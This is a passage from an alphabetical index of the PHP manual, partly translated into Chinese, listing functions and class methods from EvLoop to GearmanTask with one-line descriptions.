    • EvLoop::run - Begin checking for events and calling callbacks for the loop
    • EvLoop::signal - Creates EvSignal watcher object associated with the current event loop instance
    • EvLoop::stat - Creates EvStat watcher object associated with the current event loop instance
    • EvLoop::stop - Stops the event loop
    • EvLoop::suspend - Suspend the loop
    • EvLoop::timer - Creates EvTimer watcher object associated with the current event loop instance
    • EvLoop::verify - Performs internal consistency checks(for debugging)
    • EvLoop::__construct - Constructs the event loop object
    • EvPeriodic::again - Simply stops and restarts the periodic watcher again
    • EvPeriodic::at - Returns the absolute time that this watcher is supposed to trigger next
    • EvPeriodic::createStopped - Create a stopped EvPeriodic watcher
    • EvPeriodic::set - Configures the watcher
    • EvPeriodic::__construct - Constructs EvPeriodic watcher object
    • EvPrepare::createStopped - Creates a stopped instance of EvPrepare watcher
    • EvPrepare::__construct - Constructs EvPrepare watcher object
    • EvSignal::createStopped - Create stopped EvSignal watcher object
    • EvSignal::set - Configures the watcher
    • EvSignal::__construct - Constructs EvSignal watcher object
    • EvStat::attr - Returns the values most recently detected by Ev
    • EvStat::createStopped - Create a stopped EvStat watcher object
    • EvStat::prev - Returns the previous set of values returned by EvStat::attr
    • EvStat::set - Configures the watcher
    • EvStat::stat - Initiates the stat call
    • EvStat::__construct - Constructs EvStat watcher object
    • EvTimer::again - Restarts the timer watcher
    • EvTimer::createStopped - Creates EvTimer stopped watcher object
    • EvTimer::set - Configures the watcher
    • EvTimer::__construct - Constructs an EvTimer watcher object
    • EvWatcher::clear - Clear watcher pending status
    • EvWatcher::feed - Feeds the given revents set into the event loop
    • EvWatcher::getLoop - Returns the loop responsible for the watcher
    • EvWatcher::invoke - Invokes the watcher callback with the given received events bit mask
    • EvWatcher::keepalive - Configures whether to keep the loop from returning
    • EvWatcher::setCallback - Sets new callback for the watcher
    • EvWatcher::start - Starts the watcher
    • EvWatcher::stop - Stops the watcher
    • EvWatcher::__construct - Abstract constructor of a watcher object
    • Examples with PDO_4D - Examples PDO_4D
    • Exception::getCode - 获取异常代码
    • Exception::getFile - 创建异常时的程序文件名称
    • Exception::getLine - 获取创建的异常所在文件中的行号
    • Exception::getMessage - 获取异常消息内容
    • Exception::getPrevious - 返回异常链中的前一个异常
    • Exception::getTrace - 获取异常追踪信息
    • Exception::getTraceAsString - 获取字符串类型的异常追踪信息
    • Exception::__clone - 异常克隆
    • Exception::__construct - 异常构造函数
    • Exception::__toString - 将异常对象转换为字符串
    • exec - 执行一个外部程序
    • Executable::execute - Execute statement
    • ExecutionStatus::__construct - ExecutionStatus constructor
    • exif_imagetype - 判断一个图像的类型
    • exif_read_data - 从 JPEG 或 TIFF 文件中读取 EXIF 头信息
    • exif_tagname - 获取指定索引的头名称
    • exif_thumbnail - 取得嵌入在 TIFF 或 JPEG 图像中的缩略图
    • exit - 输出一个消息并且退出当前脚本
    • exp - 计算 e 的指数
    • expect:// - 处理交互式的流
    • expect_expectl - Waits until the output from a process matches one of the patterns, a specified time period has passed, or an EOF is seen
    • expect_popen - Execute command via Bourne shell, and open the PTY stream to the process
    • explode - 使用一个字符串分割另一个字符串
    • expm1 - 返回 exp(number) - 1，甚至当 number 的值接近零也能计算出准确结果
    • expression - Bind prepared statement variables as parameters
    • Expression::__construct - Expression constructor
    • extension_loaded - 检查一个扩展是否已经加载
    • extract - 从数组中将变量导入到当前的符号表
    • ezmlm_hash - 计算 EZMLM 所需的散列值
  • f
    • fam_cancel_monitor - Terminate monitoring
    • fam_close - Close FAM connection
    • fam_monitor_collection - Monitor a collection of files in a directory for changes
    • fam_monitor_directory - Monitor a directory for changes
    • fam_monitor_file - Monitor a regular file for changes
    • fam_next_event - Get next pending FAM event
    • fam_open - Open connection to FAM daemon
    • fam_pending - Check for pending FAM events
    • fam_resume_monitor - Resume suspended monitoring
    • fam_suspend_monitor - Temporarily suspend monitoring
    • FANNConnection::getFromNeuron - 返回开始连接的神经元。
    • FANNConnection::getToNeuron - 返回终止神经元的位置。
    • FANNConnection::getWeight - 返回连接权重。
    • FANNConnection::setWeight - 设置连接权重。
    • FANNConnection::__construct - 连接构造器
    • fann_cascadetrain_on_data - 在整个数据集上训练，使用一段时间的 Cascade2 训练算法。
    • fann_cascadetrain_on_file - 读取文件并在整个数据集上训练，使用 Cascade2 训练算法训练一段时间。
    • fann_clear_scaling_params - 清除缩放参数
    • fann_copy - 创建一个 fann 结构体的副本。
    • fann_create_from_file - 从配置文件中构建一个反向传播神经网络。
    • fann_create_shortcut - 创建一个含快捷连接而非全连接的标准反向传播神经网络。
    • fann_create_shortcut_array - 创建一个含快捷连接而非全连接的标准反向传播神经网络。
    • fann_create_sparse - 创建一个标准的反向传播神经网络，该网络不是全连接。
    • fann_create_sparse_array - 创建一个标准的反向传播神经网络，该网络使用一个表示每层大小的数组来构造，但是并不是全连接的。
    • fann_create_standard - 创建标准的全连接反向传播神经网络。
    • fann_create_standard_array - 创建一个全连接的反向传播神经网络，该网络使用一个表示每层大小的数组来构造。
    • fann_create_train - 创建一个空的训练数据结构。
    • fann_create_train_from_callback - 从用户提供的函数创建训练数据结构。
    • fann_descale_input - 在获取基于先前计算的参数之后，在输入向量中缩小数据
    • fann_descale_output - 在获取基于先前计算的参数之后，在输出向量中缩小数据
    • fann_descale_train - 基于先前计算的参数来缩小输入和输出数据
    • fann_destroy - 销毁整个网络并且适当地释放所有的关联内存。
    • fann_destroy_train - 销毁训练数据。
    • fann_duplicate_train_data - 返回 fann 训练数据精确的副本。
    • fann_get_activation_function - 返回激励函数
    • fann_get_activation_steepness - 为提供的神经和网络层数返回激活陡度
    • fann_get_bias_array - 获取网络中每一层的偏差数
    • fann_get_bit_fail - 失败位的数量
    • fann_get_bit_fail_limit - 返回训练期间使用的误差限制
    • fann_get_cascade_activation_functions - 返回级联激活函数
    • fann_get_cascade_activation_functions_count - 返回级联激活函数的数量
    • fann_get_cascade_activation_steepnesses - 返回级联激活陡度
    • fann_get_cascade_activation_steepnesses_count - 激活陡度的数量
    • fann_get_cascade_candidate_change_fraction - 返回级联候选变化分数
    • fann_get_cascade_candidate_limit - 返回候选限度
    • fann_get_cascade_candidate_stagnation_epochs - 返回层叠候选停滞周期的数量
    • fann_get_cascade_max_cand_epochs - 返回候选周期的最大值
    • fann_get_cascade_max_out_epochs - 返回输出周期的最大值
    • fann_get_cascade_min_cand_epochs - 返回最小的候选周期
    • fann_get_cascade_min_out_epochs - 返回最小输出周期
    • fann_get_cascade_num_candidates - 返回训练期间使用的候选数量
    • fann_get_cascade_num_candidate_groups - 返回候选组的数量
    • fann_get_cascade_output_change_fraction - 返回级联输出变化分数
    • fann_get_cascade_output_stagnation_epochs - 返回级联输出停滞周期的数量
    • fann_get_cascade_weight_multiplier - 返回权重因子
    • fann_get_connection_array - 获取网络中的连接。
    • fann_get_connection_rate - 获取当网络创建时连接的使用率。
    • fann_get_errno - 返回最后一个错误数字。
    • fann_get_errstr - 返回最后的错误字符串。
    • fann_get_layer_array - 获取网络中每层的神经元数量。
    • fann_get_learning_momentum - 返回学习动量
    • fann_get_learning_rate - 返回学习速率
    • fann_get_MSE - 从网络中读取均方误差。
    • fann_get_network_type - 获取所创建的神经网络类型。
    • fann_get_num_input - 获取输入神经元的数量。
    • fann_get_num_layers - 获取神经网络的层数。
    • fann_get_num_output - 获取输出神经元的数量。
    • fann_get_quickprop_decay - 返回衰退值，用于在 quickprop 训练迭代时衰减权重
    • fann_get_quickprop_mu - 返回放大系数
    • fann_get_rprop_decrease_factor - 返回 RPROP 训练期间的衰减系数
    • fann_get_rprop_delta_max - 返回最大步长
    • fann_get_rprop_delta_min - 返回最小步长
    • fann_get_rprop_delta_zero - 返回初始步长
    • fann_get_rprop_increase_factor - 返回 RPROP 训练的递增系数
    • fann_get_sarprop_step_error_shift - 返回 sarprop 步值的误差偏移
    • fann_get_sarprop_step_error_threshold_factor - 返回 sarprop 算法步值的误差阈值系数
    • fann_get_sarprop_temperature - 返回 sarprop 算法温度
    • fann_get_sarprop_weight_decay_shift - 返回 sarprop 算法权重衰减变化值
    • fann_get_total_connections - 获取整个网络中所有的连接数。
    • fann_get_total_neurons - 获取整个网络中神经元的数量。
    • fann_get_training_algorithm - 返回训练算法。
    • fann_get_train_error_function - 返回训练中使用的错误函数。
    • fann_get_train_stop_function - 返回训练中使用的停止函数。
    • fann_init_weights - 使用 Widrow 和 Nguyen 算法初始化权重。
    • fann_length_train_data - 返回训练数据中训练模式的数量。
    • fann_merge_train_data - 合并训练数据。
    • fann_num_input_train_data - 返回训练数据中每个训练模式输入的数量。
    • fann_num_output_train_data - 返回训练数据中每个训练模式输出的数量。
    • fann_print_error - 打印错误字符串。
    • fann_randomize_weights - 给每个连接赋一个介于 min_weight 和 max_weight 之间的随机权重。
    • fann_read_train_from_file - 读取存储训练数据的文件。
    • fann_reset_errno - 重置最后的错误代码。
    • fann_reset_errstr - 重置最后的错误字符串。
    • fann_reset_MSE - 重置网络中的均方误差。
    • fann_run - 将通过神经网络运行输入。
    • fann_save - 将整个网络保存至配置文件。
    • fann_save_train - 将训练结构体保存至文件。
    • fann_scale_input - 在以前计算参数的基础上，在训练之前放大输入向量中的数据
    • fann_scale_input_train_data - 在训练数据中缩放输入至指定范围
    • fann_scale_output - 在以前计算参数的基础上，在训练之前放大输出向量中的数据
    • fann_scale_output_train_data - 在训练数据中缩放输出至指定范围
    • fann_scale_train - 在以前计算参数的基础上，缩放输入和输出数据
    • fann_scale_train_data - 在训练数据中缩放输入和输出到指定的范围
    • fann_set_activation_function - 为已应用的神经元和层设置激活函数
    • fann_set_activation_function_hidden - 为所有隐藏层设置激活函数
    • fann_set_activation_function_layer - 为已应用的层中所有的神经元设置激活函数。
    • fann_set_activation_function_output - 为输出层设置激活函数
    • fann_set_activation_steepness - 为提供的神经元和层设置激活陡度
    • fann_set_activation_steepness_hidden - 为所有隐藏层中所有的神经元设置激活函数陡度
    • fann_set_activation_steepness_layer - 为提供的层中所有的神经元设置激活陡度
    • fann_set_activation_steepness_output - 在输出层中设置激活陡度
    • fann_set_bit_fail_limit - 设置训练期间使用的误差
    • fann_set_callback - 设置训练期间使用的回调函数。
    • fann_set_cascade_activation_functions - 设置级联候选激活函数的数组
    • fann_set_cascade_activation_steepnesses - 设置级联候选激活陡度的数组。
    • fann_set_cascade_candidate_change_fraction - 设置级联候选更改分数
    • fann_set_cascade_candidate_limit - 设置候选限度
    • fann_set_cascade_candidate_stagnation_epochs - 设置级联候选停止周期数
    • fann_set_cascade_max_cand_epochs - 设置最大候选周期数
    • fann_set_cascade_max_out_epochs - 设置最大输出周期
    • fann_set_cascade_min_cand_epochs - 设置最小候选周期
    • fann_set_cascade_min_out_epochs - 设置最小输出周期
    • fann_set_cascade_num_candidate_groups - 设置候选组数量
    • fann_set_cascade_output_change_fraction - 设置级联输出改变分数
    • fann_set_cascade_output_stagnation_epochs - 设置级联输出停滞周期的值
    • fann_set_cascade_weight_multiplier - 设置权重因子
    • fann_set_error_log - 设置错误记录保存的位置。
    • fann_set_input_scaling_params - 根据训练数据计算将来使用的输入比例参数
    • fann_set_learning_momentum - 设置学习动量。
    • fann_set_learning_rate - 设置学习速率。
    • fann_set_output_scaling_params - 根据训练数据计算将来使用的输出缩放参数
    • fann_set_quickprop_decay - 设置quickprop算法衰减因子
    • fann_set_quickprop_mu - 设置 quickprop 算法放大因子
    • fann_set_rprop_decrease_factor - 使用 RPROP 算法训练时，设置下降因子
    • fann_set_rprop_delta_max - 设置最大步长
    • fann_set_rprop_delta_min - 设置最小步长
    • fann_set_rprop_delta_zero - 设置初始步长
    • fann_set_rprop_increase_factor - 使用 RPROP 算法训练时，设置增长因子
    • fann_set_sarprop_step_error_shift - 设置 sarprop 算法的步误差偏移量
    • fann_set_sarprop_step_error_threshold_factor - 设置 sarprop 算法的步误差阈值因子
    • fann_set_sarprop_temperature - 设置 sarprop 算法的温度
    • fann_set_sarprop_weight_decay_shift - 设置 sarprop 算法的权重衰减偏移值
    • fann_set_scaling_params - 根据训练数据计算输入和输出缩放参数以供将来使用
    • fann_set_training_algorithm - 设置训练算法。
    • fann_set_train_error_function - 设置训练期间使用的错误函数。
    • fann_set_train_stop_function - 设置训练期间使用的停止函数。
    • fann_set_weight - 在网络中设置一个连接。
    • fann_set_weight_array - 在网络中设置一个连接。
    • fann_shuffle_train_data - 打算训练数据，使顺序随机。
    • fann_subset_train_data - 返回一个训练数据子集的副本。
    • fann_test - 使用一组输入和一组期望的输出来测试。
    • fann_test_data - 使用训练数据来测试并且计算出 MSE .
    • fann_train - 使用一个输入集和一个期望的输出集来迭代训练一次。
    • fann_train_epoch - 使用一组训练数据训练一个周期。
    • fann_train_on_data - 在整个数据集上训练一段时间。
    • fann_train_on_file - 在从某个文件读取的整个数据集上训练一段时间。
    • fastcgi_finish_request - 冲刷(flush)所有响应的数据给客户端
    • fbird_add_user - 别名 ibase_add_user
    • fbird_affected_rows - 别名 ibase_affected_rows
    • fbird_backup - 别名 ibase_backup
    • fbird_blob_add - 别名 ibase_blob_add
    • fbird_blob_cancel - Cancel creating blob
    • fbird_blob_close - 别名 ibase_blob_close
    • fbird_blob_create - 别名 ibase_blob_create
    • fbird_blob_echo - 别名 ibase_blob_echo
    • fbird_blob_get - 别名 ibase_blob_get
    • fbird_blob_import - 别名 ibase_blob_import
    • fbird_blob_info - 别名 ibase_blob_info
    • fbird_blob_open - 别名 ibase_blob_open
    • fbird_close - 别名 ibase_close
    • fbird_commit - 别名 ibase_commit
    • fbird_commit_ret - 别名 ibase_commit_ret
    • fbird_connect - 别名 ibase_connect
    • fbird_db_info - 别名 ibase_db_info
    • fbird_delete_user - 别名 ibase_delete_user
    • fbird_drop_db - 别名 ibase_drop_db
    • fbird_errcode - 别名 ibase_errcode
    • fbird_errmsg - 别名 ibase_errmsg
    • fbird_execute - 别名 ibase_execute
    • fbird_fetch_assoc - 别名 ibase_fetch_assoc
    • fbird_fetch_object - 别名 ibase_fetch_object
    • fbird_fetch_row - 别名 ibase_fetch_row
    • fbird_field_info - 别名 ibase_field_info
    • fbird_free_event_handler - 别名 ibase_free_event_handler
    • fbird_free_query - 别名 ibase_free_query
    • fbird_free_result - 别名 ibase_free_result
    • fbird_gen_id - 别名 ibase_gen_id
    • fbird_maintain_db - 别名 ibase_maintain_db
    • fbird_modify_user - 别名 ibase_modify_user
    • fbird_name_result - 别名 ibase_name_result
    • fbird_num_fields - 别名 ibase_num_fields
    • fbird_num_params - 别名 ibase_num_params
    • fbird_param_info - 别名 ibase_param_info
    • fbird_pconnect - 别名 ibase_pconnect
    • fbird_prepare - 别名 ibase_prepare
    • fbird_query - 别名 ibase_query
    • fbird_restore - 别名 ibase_restore
    • fbird_rollback - 别名 ibase_rollback
    • fbird_rollback_ret - 别名 ibase_rollback_ret
    • fbird_server_info - 别名 ibase_server_info
    • fbird_service_attach - 别名 ibase_service_attach
    • fbird_service_detach - 别名 ibase_service_detach
    • fbird_set_event_handler - 别名 ibase_set_event_handler
    • fbird_trans - 别名 ibase_trans
    • fbird_wait_event - 别名 ibase_wait_event
    • fbsql_affected_rows - Get number of affected rows in previous FrontBase operation
    • fbsql_autocommit - Enable or disable autocommit
    • fbsql_blob_size - Get the size of a BLOB
    • fbsql_change_user - Change logged in user of the active connection
    • fbsql_clob_size - Get the size of a CLOB
    • fbsql_close - Close FrontBase connection
    • fbsql_commit - Commits a transaction to the database
    • fbsql_connect - Open a connection to a FrontBase Server
    • fbsql_create_blob - Create a BLOB
    • fbsql_create_clob - Create a CLOB
    • fbsql_create_db - Create a FrontBase database
    • fbsql_database - Get or set the database name used with a connection
    • fbsql_database_password - Sets or retrieves the password for a FrontBase database
    • fbsql_data_seek - Move internal result pointer
    • fbsql_db_query - Send a FrontBase query
    • fbsql_db_status - Get the status for a given database
    • fbsql_drop_db - Drop (delete) a FrontBase database
    • fbsql_errno - Returns the error number from previous operation
    • fbsql_error - Returns the error message from previous operation
    • fbsql_fetch_array - Fetch a result row as an associative array, a numeric array, or both
    • fbsql_fetch_assoc - Fetch a result row as an associative array
    • fbsql_fetch_field - Get column information from a result and return as an object
    • fbsql_fetch_lengths - Get the length of each output in a result
    • fbsql_fetch_object - Fetch a result row as an object
    • fbsql_fetch_row - Get a result row as an enumerated array
    • fbsql_field_flags - Get the flags associated with the specified field in a result
    • fbsql_field_len - Returns the length of the specified field
    • fbsql_field_name - Get the name of the specified field in a result
    • fbsql_field_seek - Set result pointer to a specified field offset
    • fbsql_field_table - Get name of the table the specified field is in
    • fbsql_field_type - Get the type of the specified field in a result
    • fbsql_free_result - Free result memory
    • fbsql_get_autostart_info - 说明
    • fbsql_hostname - Get or set the host name used with a connection
    • fbsql_insert_id - Get the id generated from the previous INSERT operation
    • fbsql_list_dbs - List databases available on a FrontBase server
    • fbsql_list_fields - List FrontBase result fields
    • fbsql_list_tables - List tables in a FrontBase database
    • fbsql_next_result - Move the internal result pointer to the next result
    • fbsql_num_fields - Get number of fields in result
    • fbsql_num_rows - Get number of rows in result
    • fbsql_password - Get or set the user password used with a connection
    • fbsql_pconnect - Open a persistent connection to a FrontBase Server
    • fbsql_query - Send a FrontBase query
    • fbsql_read_blob - Read a BLOB from the database
    • fbsql_read_clob - Read a CLOB from the database
    • fbsql_result - Get result data
    • fbsql_rollback - Rollback a transaction to the database
    • fbsql_rows_fetched - Get the number of rows affected by the last statement
    • fbsql_select_db - Select a FrontBase database
    • fbsql_set_characterset - Change input/output character set
    • fbsql_set_lob_mode - Set the LOB retrieve mode for a FrontBase result set
    • fbsql_set_password - Change the password for a given user
    • fbsql_set_transaction - Set the transaction locking and isolation
    • fbsql_start_db - Start a database on local or remote server
    • fbsql_stop_db - Stop a database on local or remote server
    • fbsql_tablename - 别名 fbsql_table_name
    • fbsql_table_name - Get table name of field
    • fbsql_username - Get or set the username for the connection
    • fbsql_warnings - Enable or disable FrontBase warnings
    • fclose - 关闭一个已打开的文件指针
    • fdf_add_doc_javascript - Adds javascript code to the FDF document
    • fdf_add_template - Adds a template into the FDF document
    • fdf_close - Close an FDF document
    • fdf_create - Create a new FDF document
    • fdf_enum_values - Call a user defined function for each document value
    • fdf_errno - Return error code for last fdf operation
    • fdf_error - Return error description for FDF error code
    • fdf_get_ap - Get the appearance of a field
    • fdf_get_attachment - Extracts uploaded file embedded in the FDF
    • fdf_get_encoding - Get the value of the /Encoding key
    • fdf_get_file - Get the value of the /F key
    • fdf_get_flags - Gets the flags of a field
    • fdf_get_opt - Gets a value from the opt array of a field
    • fdf_get_status - Get the value of the /STATUS key
    • fdf_get_value - Get the value of a field
    • fdf_get_version - Gets version number for FDF API or file
    • fdf_header - Sets FDF-specific output headers
    • fdf_next_field_name - Get the next field name
    • fdf_open - Open a FDF document
    • fdf_open_string - Read a FDF document from a string
    • fdf_remove_item - Sets target frame for form
    • fdf_save - Save a FDF document
    • fdf_save_string - Returns the FDF document as a string
    • fdf_set_ap - Set the appearance of a field
    • fdf_set_encoding - Sets FDF character encoding
    • fdf_set_file - Set PDF document to display FDF data in
    • fdf_set_flags - Sets a flag of a field
    • fdf_set_javascript_action - Sets an javascript action of a field
    • fdf_set_on_import_javascript - Adds javascript code to be executed when Acrobat opens the FDF
    • fdf_set_opt - Sets an option of a field
    • fdf_set_status - Set the value of the /STATUS key
    • fdf_set_submit_form_action - Sets a submit form action of a field
    • fdf_set_target_frame - Set target frame for form display
    • fdf_set_value - Set the value of a field
    • fdf_set_version - Sets version number for a FDF file
    • feof - 测试文件指针是否到了文件结束的位置
    • FFI::addr - Creates an unmanaged pointer to C data
    • FFI::alignof - Gets the alignment
    • FFI::arrayType - Dynamically constructs a new C array type
    • FFI::cast - Performs a C type cast
    • FFI::cdef - Creates a new FFI object
    • FFI::free - Releases an unmanaged data structure
    • FFI::load - Loads C declarations from a C header file
    • FFI::memcmp - Compares memory areas
    • FFI::memcpy - Copies one memory area to another
    • FFI::memset - Fills a memory area
    • FFI::new - Creates a C data structure
    • FFI::scope - Instantiates an FFI object with C declarations parsed during preloading
    • FFI::sizeof - Gets the size of C data or types
    • FFI::string - Creates a PHP string from a memory area
    • FFI::type - Creates an FFI\CType object from a C declaration
    • FFI::typeof - Gets the FFI\CType of FFI\CData
    • fflush - 将缓冲内容输出到文件
    • fgetc - 从文件指针中读取字符
    • fgetcsv - 从文件指针中读入一行并解析 CSV 字段
    • fgets - 从文件指针中读取一行
    • fgetss - 从文件指针中读取一行并过滤掉 HTML 标记
    • file - 把整个文件读入一个数组中
    • file:// - 访问本地文件系统
    • fileatime - 取得文件的上次访问时间
    • filectime - 取得文件的 inode 修改时间
    • filegroup - 取得文件的组
    • fileinode - 取得文件的 inode
    • filemtime - 取得文件修改时间
    • fileowner - 取得文件的所有者
    • fileperms - 取得文件的权限
    • filepro - Read and verify the map file
    • filepro_fieldcount - Find out how many fields are in a filePro database
    • filepro_fieldname - Gets the name of a field
    • filepro_fieldtype - Gets the type of a field
    • filepro_fieldwidth - Gets the width of a field
    • filepro_retrieve - Retrieves data from a filePro database
    • filepro_rowcount - Find out how many rows are in a filePro database
    • filesize - 取得文件大小
    • FilesystemIterator::current - The current file
    • FilesystemIterator::getFlags - Get the handling flags
    • FilesystemIterator::key - Retrieve the key for the current file
    • FilesystemIterator::next - Move to the next file
    • FilesystemIterator::rewind - Rewinds back to the beginning
    • FilesystemIterator::setFlags - Sets handling flags
    • FilesystemIterator::__construct - Constructs a new filesystem iterator
    • filetype - 取得文件类型
    • file_exists - 检查文件或目录是否存在
    • file_get_contents - 将整个文件读入一个字符串
    • file_put_contents - 将一个字符串写入文件
    • FilterIterator::accept - Check whether the current element of the iterator is acceptable
    • FilterIterator::current - Get the current element value
    • FilterIterator::getInnerIterator - Get the inner iterator
    • FilterIterator::key - Get the current key
    • FilterIterator::next - Move the iterator forward
    • FilterIterator::rewind - Rewind the iterator
    • FilterIterator::valid - Check whether the current element is valid
    • FilterIterator::__construct - Construct a filterIterator
    • filter_has_var - 检测是否存在指定类型的变量
    • filter_id - 返回与某个特定名称的过滤器相关联的id
    • filter_input - 通过名称获取特定的外部变量，并且可以通过过滤器处理它
    • filter_input_array - 获取一系列外部变量，并且可以通过过滤器处理它们
    • filter_list - 返回所支持的过滤器列表
    • filter_var - 使用特定的过滤器过滤一个变量
    • filter_var_array - 获取多个变量并且过滤它们
    • finfo::buffer - 别名 finfo_buffer()
    • finfo::file - 别名 finfo_file()
    • finfo::set_flags - 别名 finfo_set_flags()
    • finfo::__construct - 别名 finfo_open
    • finfo_close - 关闭 fileinfo 资源
    • finfo_open - 创建一个 fileinfo 资源
    • floatval - 获取变量的浮点值
    • flock - 轻便的咨询文件锁定
    • floor - 舍去法取整
    • flush - 刷新输出缓冲
    • fmod - 返回除法的浮点数余数
    • fnmatch - 用模式匹配文件名
    • fopen - 打开文件或者 URL
    • forward_static_call - Call a static method
    • forward_static_call_array - Call a static method and pass the arguments as array
    • fpassthru - 输出文件指针处的所有剩余数据
    • fprintf - 将格式化后的字符串写入到流
    • fputcsv - 将行格式化为 CSV 并写入文件指针
    • fputs - fwrite 的别名
    • fread - 读取文件（可安全用于二进制文件）
    • FrenchToJD - 从一个French Republican历法的日期得到Julian Day计数。
    • fribidi_log2vis - Convert a logical string to a visual one
    • fscanf - 从文件中格式化输入
    • fseek - 在文件指针中定位
    • fsockopen - 打开一个网络连接或者一个Unix套接字连接
    • fstat - 通过已打开的文件指针取得文件信息
    • ftell - 返回文件指针读/写的位置
    • ftok - Convert a pathname and a project identifier to a System V IPC key
    • ftp:// - 访问 FTP(s) URLs
    • FTP context options - FTP context option listing
    • ftp_alloc - 为要上传的文件分配空间
    • ftp_append - Append the contents of a file to another file on the FTP server
    • ftp_cdup - 切换到当前目录的父目录
    • ftp_chdir - 在 FTP 服务器上改变当前目录
    • ftp_chmod - 设置 FTP 服务器上的文件权限
    • ftp_close - 关闭一个 FTP 连接
    • ftp_connect - 建立一个新的 FTP 连接
    • ftp_delete - 删除 FTP 服务器上的一个文件
    • ftp_exec - 请求运行一条 FTP 命令
    • ftp_fget - 从 FTP 服务器上下载一个文件并保存到本地一个已经打开的文件中
    • ftp_fput - 上传一个已经打开的文件到 FTP 服务器
    • ftp_get - 从 FTP 服务器上下载一个文件
    • ftp_get_option - 返回当前 FTP 连接的各种不同的选项设置
    • ftp_login - 登录 FTP 服务器
    • ftp_mdtm - 返回指定文件的最后修改时间
    • ftp_mkdir - 建立新目录
    • ftp_mlsd - Returns a list of files in the given directory
    • ftp_nb_continue - 连续获取／发送文件（non-blocking）
    • ftp_nb_fget - 从 FTP 服务器获取文件并写入到一个打开的文件（非阻塞）
    • ftp_nb_fput - 将文件存储到 FTP 服务器 （非阻塞）
    • ftp_nb_get - 从 FTP 服务器上获取文件并写入本地文件（non-blocking）
    • ftp_nb_put - 存储一个文件至 FTP 服务器（non-blocking）
    • ftp_nlist - 返回给定目录的文件列表
    • ftp_pasv - 返回当前 FTP 被动模式是否打开
    • ftp_put - 上传文件到 FTP 服务器
    • ftp_pwd - 返回当前目录名
    • ftp_quit - ftp_close 的 别名
    • ftp_raw - 向 FTP 服务器发送命令
    • ftp_rawlist - 返回指定目录下文件的详细列表
    • ftp_rename - 更改 FTP 服务器上的文件或目录名
    • ftp_rmdir - 删除 FTP 服务器上的一个目录
    • ftp_set_option - 设置各种 FTP 运行时选项
    • ftp_site - 向服务器发送 SITE 命令
    • ftp_size - 返回指定文件的大小
    • ftp_ssl_connect - 打开 SSL-FTP 连接
    • ftp_systype - 返回远程 FTP 服务器的操作系统类型
    • ftruncate - 将文件截断到给定的长度
    • function_exists - 如果给定的函数已经被定义就返回 TRUE
    • func_get_arg - 返回参数列表的某一项
    • func_get_args - 返回一个包含函数参数列表的数组
    • func_num_args - Returns the number of arguments passed to the function
    • fwrite - 写入文件（可安全用于二进制文件）
  • g
    • gc_collect_cycles - 强制收集所有现存的垃圾循环周期
    • gc_disable - 停用循环引用收集器
    • gc_enable - 激活循环引用收集器
    • gc_enabled - 返回循环引用计数器的状态
    • gc_mem_caches - Reclaims memory used by the Zend Engine memory manager
    • gc_status - Gets information about the garbage collector
    • gd_info - 取得当前安装的 GD 库的信息
    • GearmanClient::addOptions - Add client options
    • GearmanClient::addServer - Add a job server to the client
    • GearmanClient::addServers - Add a list of job servers to the client
    • GearmanClient::addTask - Add a task to be run in parallel
    • GearmanClient::addTaskBackground - Add a background task to be run in parallel
    • GearmanClient::addTaskHigh - Add a high priority task to run in parallel
    • GearmanClient::addTaskHighBackground - Add a high priority background task to be run in parallel
    • GearmanClient::addTaskLow - Add a low priority task to run in parallel
    • GearmanClient::addTaskLowBackground - Add a low priority background task to be run in parallel
    • GearmanClient::addTaskStatus - Add a task to get status
    • GearmanClient::clearCallbacks - Clear all task callback functions
    • GearmanClient::clone - Create a copy of a GearmanClient object
    • GearmanClient::context - Get the application context
    • GearmanClient::data - Get the application data (deprecated)
    • GearmanClient::do - Run a single task and return a result [deprecated]
    • GearmanClient::doBackground - Run a task in the background
    • GearmanClient::doHigh - Run a single high priority task
    • GearmanClient::doHighBackground - Run a high priority task in the background
    • GearmanClient::doJobHandle - Get the job handle for the running task
    • GearmanClient::doLow - Run a single low priority task
    • GearmanClient::doLowBackground - Run a low priority task in the background
    • GearmanClient::doNormal - Run a single task and return a result
    • GearmanClient::doStatus - Get the status for the running task
    • GearmanClient::echo - Send data to all job servers to see if they echo it back [deprecated]
    • GearmanClient::error - Returns an error string for the last error encountered
    • GearmanClient::getErrno - Get an errno value
    • GearmanClient::jobStatus - Get the status of a background job
    • GearmanClient::ping - Send data to all job servers to see if they echo it back
    • GearmanClient::removeOptions - Remove client options
    • GearmanClient::returnCode - Get the last Gearman return code
    • GearmanClient::runTasks - Run a list of tasks in parallel
    • GearmanClient::setClientCallback - Callback function when there is a data packet for a task (deprecated)
    • GearmanClient::setCompleteCallback - Set a function to be called on task completion
    • GearmanClient::setContext - Set application context
    • GearmanClient::setCreatedCallback - Set a callback for when a task is queued
    • GearmanClient::setData - Set application data (deprecated)
    • GearmanClient::setDataCallback - Callback function when there is a data packet for a task
    • GearmanClient::setExceptionCallback - Set a callback for worker exceptions
    • GearmanClient::setFailCallback - Set callback for job failure
    • GearmanClient::setOptions - Set client options
    • GearmanClient::setStatusCallback - Set a callback for collecting task status
    • GearmanClient::setTimeout - Set socket I/O activity timeout
    • GearmanClient::setWarningCallback - Set a callback for worker warnings
    • GearmanClient::setWorkloadCallback - Set a callback for accepting incremental data updates
    • GearmanClient::timeout - Get current socket I/O activity timeout value
    • GearmanClient::__construct - Create a GearmanClient instance
    • GearmanJob::complete - Send the result and complete status (deprecated)
    • GearmanJob::data - Send data for a running job (deprecated)
    • GearmanJob::exception - Send exception for running job (deprecated)
    • GearmanJob::fail - Send fail status (deprecated)
    • GearmanJob::functionName - Get function name
    • GearmanJob::handle - Get the job handle
    • GearmanJob::returnCode - Get last return code
    • GearmanJob::sendComplete - Send the result and complete status
    • GearmanJob::sendData - Send data for a running job
    • GearmanJob::sendException - Send exception for running job (exception)
    • GearmanJob::sendFail - Send fail status
    • GearmanJob::sendStatus - Send status
    • GearmanJob::sendWarning - Send a warning
    • GearmanJob::setReturn - Set a return value
    • GearmanJob::status - Send status (deprecated)
    • GearmanJob::unique - Get the unique identifier
    • GearmanJob::warning - Send a warning (deprecated)
    • GearmanJob::workload - Get workload
    • GearmanJob::workloadSize - Get size of work load
    • GearmanJob::__construct - Create a GearmanJob instance
    • GearmanTask::create - Create a task (deprecated)
    • GearmanTask::data - Get data returned for a task
    • GearmanTask::dataSize - Get the size of returned data
    • GearmanTask::function - Get associated function name (deprecated)
    • GearmanTask::functionName - Get associated function name
    • GearmanTask::isKnown - Determine if task is known
    • GearmanTask::isRunning - Test whether the task is currently running
    • GearmanTask::jobHandle - Get the job handle
